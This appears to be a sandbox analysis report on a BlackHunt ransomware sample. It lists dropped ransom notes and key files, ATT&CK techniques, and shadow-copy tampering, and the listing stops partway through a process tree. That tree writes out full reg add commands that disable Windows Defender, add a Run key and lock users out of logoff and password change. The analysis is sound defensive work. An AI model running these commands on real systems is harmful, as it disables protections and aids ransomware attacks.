File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\SpecialOccasion\NavigationLeft_SelectionSubpicture.png	4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\ext\localedata.jar	4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.equinox.p2.core.feature_1.3.0.v20140523-0116\#BlackHunt_ReadMe.txt	4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe
File created	C:\Program Files\VideoLAN\VLC\locale\gu\LC_MESSAGES\#BlackHunt_Private.key	4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\tl\LC_MESSAGES\vlc.mo	4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe
File opened for modification	C:\Program Files\7-Zip\Lang\kk.txt	4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Jamaica	4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rcp.application.ja_5.5.0.165303.jar	4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe
File created	C:\Program Files\VideoLAN\VLC\locale\am\#BlackHunt_ReadMe.hta	4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Asia\Pontianak	4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Setup Files\{AC76BA86-7AD7-1033-7B44-A90000000001}\abcpy.ini	4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Guyana	4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\dcommon\html\#BlackHunt_ReadMe.hta	4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\config\#BlackHunt_ReadMe.hta	4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-autoupdate-ui_zh_CN.jar	4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\update_tracking\org-netbeans-modules-autoupdate-ui.xml	4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\com-sun-tools-visualvm-profiling.jar	4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Tegucigalpa	4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\ko\LC_MESSAGES\vlc.mo	4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Pacific\Nauru	4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.mbeanbrowser_5.5.0.165303.jar	4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\trash.gif	4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\ks_IN\LC_MESSAGES\vlc.mo	4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe
File created	C:\Program Files\VideoLAN\VLC\locale\sk\LC_MESSAGES\#BlackHunt_ReadMe.txt	4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe
File created	C:\Program Files\VideoLAN\VLC\locale\hr\#BlackHunt_ReadMe.hta	4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ms\LC_MESSAGES\#BlackHunt_ReadMe.txt	4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe
File created	C:\Program Files (x86)\Uninstall Information\#BlackHunt_Private.key	4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe
File created	C:\Program Files\Java\jdk1.7.0_80\include\#BlackHunt_ReadMe.hta	4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Etc\GMT+6	4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Paramaribo	4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\bl.gif	4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Travel\selection_subpicture.png	4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe
File created	C:\Program Files\Java\jre7\lib\zi\America\Argentina\#BlackHunt_Private.key	4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Indian\Reunion	4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-queries_zh_CN.jar	4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ky\#BlackHunt_ReadMe.hta	4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe
File created	C:\Program Files\VideoLAN\VLC\locale\zh_TW\#BlackHunt_ReadMe.hta	4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Icons\PDFFile_8.ico	4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Sports\NavigationButtonSubpicture.png	4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Asia\Yekaterinburg	4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe
File created	C:\Program Files\VideoLAN\VLC\locale\wa\LC_MESSAGES\#BlackHunt_ReadMe.txt	4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2028	schtasks.exe

Interacts with shadow copies 2 TTPs 6 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
2416	vssadmin.exe
3932	vssadmin.exe
892	vssadmin.exe
2348	vssadmin.exe
1928	vssadmin.exe
1028	vssadmin.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
3780	taskkill.exe

Modifies registry class 8 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	vssvc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	vssvc.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
3688	PING.EXE

Suspicious use of AdjustPrivilegeToken 24 IoCs

description	pid	Process
Token: SeDebugPrivilege	2148	4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe
Token: SeRestorePrivilege	2148	4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe
Token: SeBackupPrivilege	2148	4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe
Token: SeTakeOwnershipPrivilege	2148	4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe
Token: SeAuditPrivilege	2148	4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe
Token: SeSecurityPrivilege	2148	4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe
Token: SeIncBasePriorityPrivilege	2148	4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe
Token: SeBackupPrivilege	2756	vssvc.exe
Token: SeRestorePrivilege	2756	vssvc.exe
Token: SeAuditPrivilege	2756	vssvc.exe
Token: SeBackupPrivilege	2624	wbengine.exe
Token: SeRestorePrivilege	2624	wbengine.exe
Token: SeSecurityPrivilege	2624	wbengine.exe
Token: SeSecurityPrivilege	2820	wevtutil.exe
Token: SeSecurityPrivilege	1812	wevtutil.exe
Token: SeSecurityPrivilege	2708	wevtutil.exe
Token: SeBackupPrivilege	1812	wevtutil.exe
Token: SeBackupPrivilege	2708	wevtutil.exe
Token: SeBackupPrivilege	2820	wevtutil.exe
Token: SeSecurityPrivilege	2300	wevtutil.exe
Token: SeSecurityPrivilege	3992	wevtutil.exe
Token: SeBackupPrivilege	2300	wevtutil.exe
Token: SeBackupPrivilege	3992	wevtutil.exe
Token: SeDebugPrivilege	3780	taskkill.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2148 wrote to memory of 2216	2148	4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe	29
PID 2148 wrote to memory of 2216	2148	4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe	29
PID 2148 wrote to memory of 2216	2148	4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe	29
PID 2148 wrote to memory of 2216	2148	4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe	29
PID 2148 wrote to memory of 2652	2148	4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe	31
PID 2148 wrote to memory of 2652	2148	4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe	31
PID 2148 wrote to memory of 2652	2148	4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe	31
PID 2148 wrote to memory of 2652	2148	4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe	31
PID 2148 wrote to memory of 2780	2148	4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe	33
PID 2148 wrote to memory of 2780	2148	4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe	33
PID 2148 wrote to memory of 2780	2148	4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe	33
PID 2148 wrote to memory of 2780	2148	4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe	33
PID 2216 wrote to memory of 2892	2216	cmd.exe	34
PID 2216 wrote to memory of 2892	2216	cmd.exe	34
PID 2216 wrote to memory of 2892	2216	cmd.exe	34
PID 2148 wrote to memory of 2464	2148	4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe	36
PID 2148 wrote to memory of 2464	2148	4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe	36
PID 2148 wrote to memory of 2464	2148	4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe	36
PID 2148 wrote to memory of 2464	2148	4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe	36
PID 2652 wrote to memory of 2756	2652	cmd.exe	149
PID 2652 wrote to memory of 2756	2652	cmd.exe	149
PID 2652 wrote to memory of 2756	2652	cmd.exe	149
PID 2148 wrote to memory of 2772	2148	4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe	133
PID 2148 wrote to memory of 2772	2148	4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe	133
PID 2148 wrote to memory of 2772	2148	4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe	133
PID 2148 wrote to memory of 2772	2148	4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe	133
PID 2148 wrote to memory of 2792	2148	4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe	41
PID 2148 wrote to memory of 2792	2148	4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe	41
PID 2148 wrote to memory of 2792	2148	4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe	41
PID 2148 wrote to memory of 2792	2148	4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe	41
PID 2148 wrote to memory of 1344	2148	4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe	43
PID 2148 wrote to memory of 1344	2148	4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe	43
PID 2148 wrote to memory of 1344	2148	4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe	43
PID 2148 wrote to memory of 1344	2148	4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe	43
PID 2148 wrote to memory of 3044	2148	4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe	44
PID 2148 wrote to memory of 3044	2148	4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe	44
PID 2148 wrote to memory of 3044	2148	4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe	44
PID 2148 wrote to memory of 3044	2148	4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe	44
PID 2780 wrote to memory of 2880	2780	cmd.exe	46
PID 2780 wrote to memory of 2880	2780	cmd.exe	46
PID 2780 wrote to memory of 2880	2780	cmd.exe	46
PID 2148 wrote to memory of 2096	2148	4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe	47
PID 2148 wrote to memory of 2096	2148	4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe	47
PID 2148 wrote to memory of 2096	2148	4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe	47
PID 2148 wrote to memory of 2096	2148	4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe	47
PID 2772 wrote to memory of 2580	2772	reg.exe	49
PID 2772 wrote to memory of 2580	2772	reg.exe	49
PID 2772 wrote to memory of 2580	2772	reg.exe	49
PID 2148 wrote to memory of 2692	2148	4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe	50
PID 2148 wrote to memory of 2692	2148	4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe	50
PID 2148 wrote to memory of 2692	2148	4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe	50
PID 2148 wrote to memory of 2692	2148	4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe	50
PID 2464 wrote to memory of 2528	2464	cmd.exe	52
PID 2464 wrote to memory of 2528	2464	cmd.exe	52
PID 2464 wrote to memory of 2528	2464	cmd.exe	52
PID 2148 wrote to memory of 2816	2148	4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe	55
PID 2148 wrote to memory of 2816	2148	4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe	55
PID 2148 wrote to memory of 2816	2148	4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe	55
PID 2148 wrote to memory of 2816	2148	4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe	55
PID 2148 wrote to memory of 2744	2148	4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe	56
PID 2148 wrote to memory of 2744	2148	4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe	56
PID 2148 wrote to memory of 2744	2148	4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe	56
PID 2148 wrote to memory of 2744	2148	4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe	56
PID 2148 wrote to memory of 2628	2148	4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe	58

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe
"C:\Users\Admin\AppData\Local\Temp\4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe"
1⤵
- UAC bypass
- Checks whether UAC is enabled
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2148
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2216
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
    3⤵
    - Modifies registry class
    PID:2892
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2652
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    PID:2756
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2780
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
    3⤵
    - Modifies registry class
    PID:2880
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2464
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:2528
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  PID:2772
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
    3⤵
    - Adds Run key to start application
    PID:2580
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  PID:2792
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
    3⤵
    PID:2340
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  PID:1344
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:2832
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  PID:3044
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
    3⤵
    PID:860
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  PID:2096
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
    3⤵
    PID:3016
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  PID:2692
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
    3⤵
    PID:2004
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  PID:2816
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
    3⤵
    PID:2848
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  PID:2744
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
    3⤵
    PID:1820
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  PID:2628
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
    3⤵
    PID:320
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  PID:2568
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
    3⤵
    PID:1420
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:2648
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
    3⤵
    PID:268
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:2360
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
    3⤵
    PID:1412
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:772
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
    3⤵
    PID:2060
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:2632
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:2512
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:2976
- - C:\Windows\system32\reg.exe
